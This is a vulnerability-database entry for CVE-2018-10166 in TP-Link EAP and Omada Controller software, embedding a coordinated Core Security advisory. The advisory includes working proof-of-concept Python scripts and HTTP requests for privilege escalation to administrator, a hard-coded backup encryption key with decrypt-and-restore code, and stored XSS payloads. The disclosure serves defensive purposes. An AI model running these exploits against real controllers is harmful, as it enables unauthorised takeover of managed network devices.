ID

VAR-201805-0360


CVE

CVE-2018-10166


TITLE

TP-Link EAP Controller and Omada Controller Vulnerable to cross-site request forgery

Trust: 0.8

sources: JVNDB: JVNDB-2018-004778

DESCRIPTION

The web management interface in the TP-Link EAP Controller and Omada Controller versions 2.5.4_Windows/2.6.0_Windows does not have Anti-CSRF tokens in any forms. This would allow an attacker to submit authenticated requests when an authenticated user browses an attack-controlled domain. This is fixed in version 2.6.1_Windows. TP-Link EAP Controller and Omada Controller Contains a cross-site request forgery vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. TP-LinkEAPController and OmadaController are software used by TP-LINK to remotely control wireless AP access point devices. The vulnerability stems from the fact that the program does not have any form of anti-cross-site request forgery token. A privilege-escalation vulnerability 2. A hard-coded cryptographic key vulnerability 3. A cross-site request-forgery vulnerability 4. Multiple HTML-injection vulnerability An attacker may leverage these issues to gain elevated privileges, perform unauthorized actions and gain access to the affected application, or execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. **Advisory Information** Title: TP-Link EAP Controller Multiple Vulnerabilities Advisory ID: CORE-2018-0001 Advisory URL: http://www.coresecurity.com/advisories/tp-link-eap-controller-multiple-vulnerabilities Date published: 2018-05-03 Date of last update: 2018-04-17 Vendors contacted: TP-Link Release mode: Coordinated release 2. **Vulnerability Information** Class: Improper Privilege Management [CWE-269], Use of Hard-coded Cryptographic Key [CWE-321], Cross-Site Request Forgery [CWE-352], Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') [CWE-79], Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') [CWE-79] Impact: Code execution, Security bypass Remotely Exploitable: Yes Locally Exploitable: Yes CVE Name: CVE-2018-10168, CVE-2018-10167, CVE-2018-10166, CVE-2018-10165, CVE-2018-10164 3. It allows you to centrally manage your EAP devices using a Web browser. Due to the use of a hard-coded cryptographic key the backup file of the Web application can be decrypted, modified and restored back. Also, the Web application does not have Cross-Site Request Forgery protection and finally, two stored Cross Site Scripting vulnerabilities were found. 4. **Vulnerable Packages** . TP-Link EAP Controller_V2.5.4_Windows . TP-Link Omada Controller_V2.6.0_Windows Other products and versions might be affected, but they were not tested. 5. **Vendor Information, Solutions and Workarounds** TP-Link released Omada Controller_V2.6.1_Windows [2] that fixes the reported issues. 6. **Credits** This vulnerability was discovered and researched by Julian MuA+-oz from Core Security Exploits QA. The publication of this advisory was coordinated by Alberto Solino and Leandro Cuozzo from Core Advisories Team. 7. **Technical Description / Proof of Concept Code** TP-Link EAP Controller doesn't have any role control on the Web app API, only the application GUI seems to be restricting low lever users (observer) from changing settings. The vulnerability presented in 7.1 shows how a low privilege user (observer) can make a request and create a new administrator user. On 7.2 we show the software uses a hardcoded key to encrypt the Web application's backup file. An attacker possessing such key, and knowing the encryption algorithm would allow the backup file to be decrypted and modified. Forcing a user to restore this backup (using 7.3) can give us total control over the managed devices. Finally, we discovered two Cross-Site Scripting, one on the creation of a local user in the parameter userName (7.4) and the other one abusing the implementation of portalPictureUpload (7.5). 7.1. **Privilege escalation from Observer to Administrator** [CVE-2018-10168] The software does not control privileges on the usage of the Web API, allowing a low privilege user to make any request as an Administrator. The following PoC shows the creation of a new Administrator, by just having the session cookie of an observer (lowest privilege user): /----- import requests session = requests.Session() session.trust_env = False tpeap_session_id = "80ab613a-590c-47ac-a2d6-f2949a0e9daa" #observer session_id cookie = {'TPEAP_SESSIONID': tpeap_session_id} data = {"name": "coresecurity", "roleId": "59fb411ebb62eef169069ac3", "password": "123456", "email": "fakemail@gmail.com", "roleName": "administrator"} #create user create_user_response = session.post('https://EAP_CONTROLER_IP:8043/user/addUser', cookies=cookie, data=data, verify=False) -----/ The roleId parameter can be discovered in 7.2 by decrypting the backup file. 7.2.**Download, Decrypt and Restore the web app backup file** [CVE-2018-10167] As described, the whole Web API do not restrict low privilege users, so an observer can make a request to download the web app backup file. The following xml is part of the decrypted backup file, modifying those fields would give us control over the EAP device since we can inject a user and password for the user account and enable SSH on the device. /----- <useraccount> { "id" : "5a09fad8bb62eef169069ad3", "userName" : "attacker", "password" : "1234567", "site" : "Default", "key" : "userAccount" } </useraccount> <ssh> { "id" : "59fb411fbb62eef169069ac7", "sshserverPort" : 22, "sshenable" : true, "site" : "Default", "key" : "ssh" } </ssh> -----/ The following code shows how this process is done, using an observer's session_id. First we get the backup file, decrypt it using the hard-coded key, then we modify it and finally upload it back to the server. /----- # -*- coding: utf-8 -*- import requests import codecs key = "Ei2HNryt8ysSdRRI54XNQHBEbOIRqNjQgYxsTmuW3srSVRVFyLh8mwvhBLPFQph3ecDMLnDtjDUdrUwt7oTsJuYl72hXESNiD6jFIQCtQN1unsmn" \ "3JXjeYwGJ55pqTkVyN2OOm3vekF6G1LM4t3kiiG4lGwbxG4CG1s5Sli7gcINFBOLXQnPpsQNWDmPbOm74mE7eyR3L7tk8tUhI17FLKm11hrrd1ck" \ "74bMw3VYSK3X5RrDgXelewMU6o1tJ3iX" def init_key(secret_key): key_in_bytes = map(ord, secret_key) number_list = range(0, 256) j = 0 for i, val in enumerate(number_list): j = j + number_list[i] + key_in_bytes[i] & 0xFF temp = number_list[i] number_list[i] = number_list[j] number_list[j] = temp return number_list def encrypt(data, key): key = init_key(key) input = [x for x in data] output = [] for x, elem in enumerate(data): i = 0 j = 0 i = (i + 1) % 256 j = (j + key[i]) % 256 temp = key[i] key[i] = key[j] key[j] = temp t = (key[i] + key[j] % 256) % 256 iY = key[t] iCY = iY output.append(chr(ord(input[x]) ^ iCY)) ret = ''.join(output) return ret session = requests.Session() session.trust_env = False tpeap_session_id = "80ab613a-590c-47ac-a2d6-f2949a0e9daa" cookie = {'TPEAP_SESSIONID': tpeap_session_id} #get backup file get_backup_response = session.get('https://EAP_CONTROLER_IP:8043/globalsetting/backup', cookies=cookie, verify=False) #decrypt backup file decrypted_backup = encrypt(unicode(get_backup_response.content, 'utf-8'), key) #modify decrypted backup file patched_backup = decrypted_backup.replace('normaluser', 'attacker') #encrypt the file and save it path_to_write = r"C:\fake_path\patched_backup_from_observer.cfg" encrypt_patched_backup = unicode(encrypt(patched_backup, key), 'unicode-escape') h = codecs.open(path_to_write, "w", encoding='utf-8') h.write(encrypt_patched_backup) h.close() #upload patched backup file files = {'file': open(path_to_write, 'rb')} restore_backup_response = session.post('https://EAP_CONTROLER_IP:8043/globalsetting/restore', files=files, cookies=cookie, verify=False) -----/ 7.3. Proof of concept to create an Administrator User /----- POST /user/addUser HTTP/1.1 Host: EAP_CONTROLER_IP:8043 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://127.0.0.1:5000/xss Content-Type: application/x-www-form-urlencoded Content-Length: 64 Cookie: TPEAP_LANGUAGE=en; TPEAP_SESSIONID=80ab613a-590c-47ac-a2d6-f2949a0e9daa Connection: close Upgrade-Insecure-Requests: 1 name=testuser&email=testuser%40gmail.com&roleId=59fb411ebb62eef169069ac3&password=123456&roleName=administrator -----/ 7.4. **Cross-Site Scripting in the creation of a local User** [CVE-2018-10165] The following parameter of the local user creation is vulnerable to a stored Cross Site Scripting: userName The following is a proof of concept to demonstrate the vulnerability: /----- POST /hotspot/localUser/saveUser HTTP/1.1 Host: EAP_CONTROLER_IP:8043 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://127.0.0.1:5000/xss Content-Type: application/x-www-form-urlencoded Content-Length: 64 Cookie: TPEAP_LANGUAGE=en Connection: close Upgrade-Insecure-Requests: 1 userName=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&password=123456 -----/ 7.5. **Cross-Site Scripting in portalPictureUpload** [CVE-2018-10164] The implementation of portalPictureUpload can be abused and leads to a stored Cross Site Scripting. Decrypting the backup file shows that the portal background image is uploaded encoded in base64 and stored in the software database (mongoDB) In the following example we encode "<script>alert(1)</script>" in base64, the results is "PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==" so we replace the fileData with the code and restore the backup file. /----- <picturefiles> <file> <fileId>5a383b962dc07622f0bdc101</fileId> <fileData>PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==</fileData> </file> </picturefiles> -----/ To execute the stored XSS we enter the page https://EAP_CONTROLER_IP:8043/globalsetting/portalPictureLoad?fileId=5a383b962dc07622f0bdc101 (using the fileId used in the example). 8. **Report Timeline** 2018-01-12: Core Security sent an initial notification to TP-LINK, asking for GPG keys in order to send draft advisory. 2018-01-14: TP-Link answered asking for the advisory in clear text. 2018-01-15: Core Security sent the draft advisory to TP-Link in clear text form. 2018-01-29: TP-Link informed Core Security they checked the draft advisory and they are going to fix the vulnerabilities. 2018-01-29: Core Security asked if all the reported vulnerabilities were confirmed and request an estimated release date for the fix. 2018-02-07: TP-Link informed that they were working in a beta version of the fix and they will provide it to Core Security for test. 2018-02-07: Core Security thanked TP-Link's answer and asked for a tentative date for this beta version. Also, Core Security asked for a tentative release date for the fix. 2018-02-27: Core Security asked for a status update again. However, this version didn't address the reported vulnerabilities. Core Security asked for a status update again. 2018-03-01: Core Security thanked TP-Link's answer and requested for a regular contact till the release of the fixed version. 2018-03-19: Core Security requested a status update. 2018-03-21: TP-Link confirmed that the new version will be available in early April. 2018-03-26: Core Security thanked TP-Link's reply an asked for a solidified release date. 2018-04-13: Core Security noticed that a new version of the EAP Controller was released (v2.6.1) and asked TP-Link if this version fixed the reported vulnerabilities. 2018-04-16: Core Security tested the new release and confirmed that the reported vulnerabilities were addressed. 2018-04-17: Core Security set release date to be May 3rd at 12 PM EST. 9. **References** [1] https://www.tp-link.com/en/products/details/EAP-Controller.html. [2] https://www.tp-link.com/en/download/EAP-Controller.html#Controller_Software. 10. **About CoreLabs** CoreLabs, the research center of Core Security, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com. 11. **About Core Security** Core Security provides companies with the security insight they need to know who, how, and what is vulnerable in their organization. The company's threat-aware, identity & access, network security, and vulnerability management solutions provide actionable insight and context needed to manage security risks across the enterprise. This shared insight gives customers a comprehensive view of their security posture to make better security remediation decisions. Better insight allows organizations to prioritize their efforts to protect critical assets, take action sooner to mitigate access risk, and react faster if a breach does occur. Core Security is headquartered in the USA with offices and operations in South America, Europe, Middle East and Asia. To learn more, contact Core Security at (678) 304-4500 or info@coresecurity.com 12. **Disclaimer** The contents of this advisory are copyright (c) 2018 Core Security and (c) 2018 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/ 13. **PGP/GPG Keys** This advisory has been signed with the GPG key of Core Security advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc

Trust: 2.61

sources: NVD: CVE-2018-10166 // JVNDB: JVNDB-2018-004778 // CNVD: CNVD-2018-10975 // BID: 104094 // VULHUB: VHN-119898 // PACKETSTORM: 147495

IOT TAXONOMY

category:['Network device']sub_category: -

Trust: 0.6

sources: CNVD: CNVD-2018-10975

AFFECTED PRODUCTS

vendor:tp linkmodel:eap controllerscope:eqversion:2.6.0

Trust: 1.9

vendor:tp linkmodel:eap controllerscope:eqversion:2.5.4

Trust: 1.9

vendor:tp linkmodel:eap controllerscope:eqversion:2.5.4_windows

Trust: 0.8

vendor:tp linkmodel:eap controllerscope:eqversion:2.6.0_windows

Trust: 0.8

vendor:tp linkmodel:eap controller 2.5.4 windowsscope: - version: -

Trust: 0.6

vendor:tp linkmodel:eap controller 2.6.0 windowsscope: - version: -

Trust: 0.6

vendor:tp linkmodel:omada controller 2.5.4 windowsscope: - version: -

Trust: 0.6

vendor:tp linkmodel:omada controller 2.6.0 windowsscope: - version: -

Trust: 0.6

vendor:tp linkmodel:omada controllerscope:eqversion:2.6.0

Trust: 0.3

vendor:tp linkmodel:omada controllerscope:eqversion:2.5.4

Trust: 0.3

vendor:tp linkmodel:omada controllerscope:neversion:2.6.1

Trust: 0.3

vendor:tp linkmodel:eap controllerscope:neversion:2.6.1

Trust: 0.3

sources: CNVD: CNVD-2018-10975 // BID: 104094 // JVNDB: JVNDB-2018-004778 // CNNVD: CNNVD-201805-143 // NVD: CVE-2018-10166

CVSS

SEVERITY

CVSSV2

CVSSV3

nvd@nist.gov: CVE-2018-10166
value: HIGH

Trust: 1.0

NVD: CVE-2018-10166
value: HIGH

Trust: 0.8

CNVD: CNVD-2018-10975
value: MEDIUM

Trust: 0.6

CNNVD: CNNVD-201805-143
value: MEDIUM

Trust: 0.6

VULHUB: VHN-119898
value: MEDIUM

Trust: 0.1

nvd@nist.gov: CVE-2018-10166
severity: MEDIUM
baseScore: 6.8
vectorString: AV:N/AC:M/AU:N/C:P/I:P/A:P
accessVector: NETWORK
accessComplexity: MEDIUM
authentication: NONE
confidentialityImpact: PARTIAL
integrityImpact: PARTIAL
availabilityImpact: PARTIAL
exploitabilityScore: 8.6
impactScore: 6.4
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 1.8

CNVD: CNVD-2018-10975
severity: MEDIUM
baseScore: 6.8
vectorString: AV:N/AC:M/AU:N/C:P/I:P/A:P
accessVector: NETWORK
accessComplexity: MEDIUM
authentication: NONE
confidentialityImpact: PARTIAL
integrityImpact: PARTIAL
availabilityImpact: PARTIAL
exploitabilityScore: 8.6
impactScore: 6.4
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 0.6

VULHUB: VHN-119898
severity: MEDIUM
baseScore: 6.8
vectorString: AV:N/AC:M/AU:N/C:P/I:P/A:P
accessVector: NETWORK
accessComplexity: MEDIUM
authentication: NONE
confidentialityImpact: PARTIAL
integrityImpact: PARTIAL
availabilityImpact: PARTIAL
exploitabilityScore: 8.6
impactScore: 6.4
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 0.1

nvd@nist.gov: CVE-2018-10166
baseSeverity: HIGH
baseScore: 8.8
vectorString: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
attackVector: NETWORK
attackComplexity: LOW
privilegesRequired: NONE
userInteraction: REQUIRED
scope: UNCHANGED
confidentialityImpact: HIGH
integrityImpact: HIGH
availabilityImpact: HIGH
exploitabilityScore: 2.8
impactScore: 5.9
version: 3.0

Trust: 1.8

sources: CNVD: CNVD-2018-10975 // VULHUB: VHN-119898 // JVNDB: JVNDB-2018-004778 // CNNVD: CNNVD-201805-143 // NVD: CVE-2018-10166

PROBLEMTYPE DATA

problemtype:CWE-352

Trust: 1.9

sources: VULHUB: VHN-119898 // JVNDB: JVNDB-2018-004778 // NVD: CVE-2018-10166

THREAT TYPE

remote

Trust: 0.6

sources: CNNVD: CNNVD-201805-143

TYPE

cross-site request forgery

Trust: 0.6

sources: CNNVD: CNNVD-201805-143

CONFIGURATIONS

sources: JVNDB: JVNDB-2018-004778

PATCH

title:Top Pageurl:https://www.tp-link.com/us/

Trust: 0.8

title:Patch for TP-LinkEAPController and OmadaController cross-site request forgery vulnerabilityurl:https://www.cnvd.org.cn/patchInfo/show/131257

Trust: 0.6

title:TP-Link EAP Controller and Omada Controller Security vulnerabilitiesurl:http://www.cnnvd.org.cn/web/xxk/bdxqById.tag?id=79864

Trust: 0.6

sources: CNVD: CNVD-2018-10975 // JVNDB: JVNDB-2018-004778 // CNNVD: CNNVD-201805-143

EXTERNAL IDS

db:NVDid:CVE-2018-10166

Trust: 3.5

db:BIDid:104094

Trust: 2.8

db:JVNDBid:JVNDB-2018-004778

Trust: 0.8

db:CNNVDid:CNNVD-201805-143

Trust: 0.7

db:CNVDid:CNVD-2018-10975

Trust: 0.6

db:NSFOCUSid:39636

Trust: 0.6

db:VULHUBid:VHN-119898

Trust: 0.1

db:PACKETSTORMid:147495

Trust: 0.1

sources: CNVD: CNVD-2018-10975 // VULHUB: VHN-119898 // BID: 104094 // JVNDB: JVNDB-2018-004778 // PACKETSTORM: 147495 // CNNVD: CNNVD-201805-143 // NVD: CVE-2018-10166

REFERENCES

url:https://www.coresecurity.com/advisories/tp-link-eap-controller-multiple-vulnerabilities

Trust: 2.9

url:http://www.securityfocus.com/bid/104094

Trust: 2.5

url:https://nvd.nist.gov/vuln/detail/cve-2018-10166

Trust: 0.9

url:https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2018-10166

Trust: 0.8

url:http://www.nsfocus.net/vulndb/39636

Trust: 0.6

url:http://www.tp-link.com/en/

Trust: 0.3

url:https://eap_controler_ip:8043/globalsetting/portalpictureload?fileid=5a383b962dc07622f0bdc101

Trust: 0.1

url:https://eap_controler_ip:8043/user/adduser',

Trust: 0.1

url:http://www.coresecurity.com/files/attachments/core_security_advisories.asc.

Trust: 0.1

url:https://eap_controler_ip:8043/globalsetting/restore',

Trust: 0.1

url:https://eap_controler_ip:8043/globalsetting/backup',

Trust: 0.1

url:http://corelabs.coresecurity.com/

Trust: 0.1

url:https://nvd.nist.gov/vuln/detail/cve-2018-10168

Trust: 0.1

url:https://nvd.nist.gov/vuln/detail/cve-2018-10165

Trust: 0.1

url:https://nvd.nist.gov/vuln/detail/cve-2018-10164

Trust: 0.1

url:https://www.tp-link.com/en/products/details/eap-controller.html.

Trust: 0.1

url:http://127.0.0.1:5000/xss

Trust: 0.1

url:https://nvd.nist.gov/vuln/detail/cve-2018-10167

Trust: 0.1

url:http://corelabs.coresecurity.com.

Trust: 0.1

url:https://www.tp-link.com/en/download/eap-controller.html#controller_software.

Trust: 0.1

url:http://creativecommons.org/licenses/by-nc-sa/3.0/us/

Trust: 0.1

sources: CNVD: CNVD-2018-10975 // VULHUB: VHN-119898 // BID: 104094 // JVNDB: JVNDB-2018-004778 // PACKETSTORM: 147495 // CNNVD: CNNVD-201805-143 // NVD: CVE-2018-10166

CREDITS

Julian Munoz from Core Security Exploits QA

Trust: 0.3

sources: BID: 104094

SOURCES

db:CNVDid:CNVD-2018-10975
db:VULHUBid:VHN-119898
db:BIDid:104094
db:JVNDBid:JVNDB-2018-004778
db:PACKETSTORMid:147495
db:CNNVDid:CNNVD-201805-143
db:NVDid:CVE-2018-10166

LAST UPDATE DATE

2024-11-23T22:06:50.593000+00:00


SOURCES UPDATE DATE

db:CNVDid:CNVD-2018-10975date:2018-06-05T00:00:00
db:VULHUBid:VHN-119898date:2018-06-12T00:00:00
db:BIDid:104094date:2018-05-03T00:00:00
db:JVNDBid:JVNDB-2018-004778date:2018-06-27T00:00:00
db:CNNVDid:CNNVD-201805-143date:2018-05-04T00:00:00
db:NVDid:CVE-2018-10166date:2024-11-21T03:40:55.973

SOURCES RELEASE DATE

db:CNVDid:CNVD-2018-10975date:2018-06-05T00:00:00
db:VULHUBid:VHN-119898date:2018-05-03T00:00:00
db:BIDid:104094date:2018-05-03T00:00:00
db:JVNDBid:JVNDB-2018-004778date:2018-06-27T00:00:00
db:PACKETSTORMid:147495date:2018-05-04T01:20:40
db:CNNVDid:CNNVD-201805-143date:2018-05-04T00:00:00
db:NVDid:CVE-2018-10166date:2018-05-03T18:29:00.373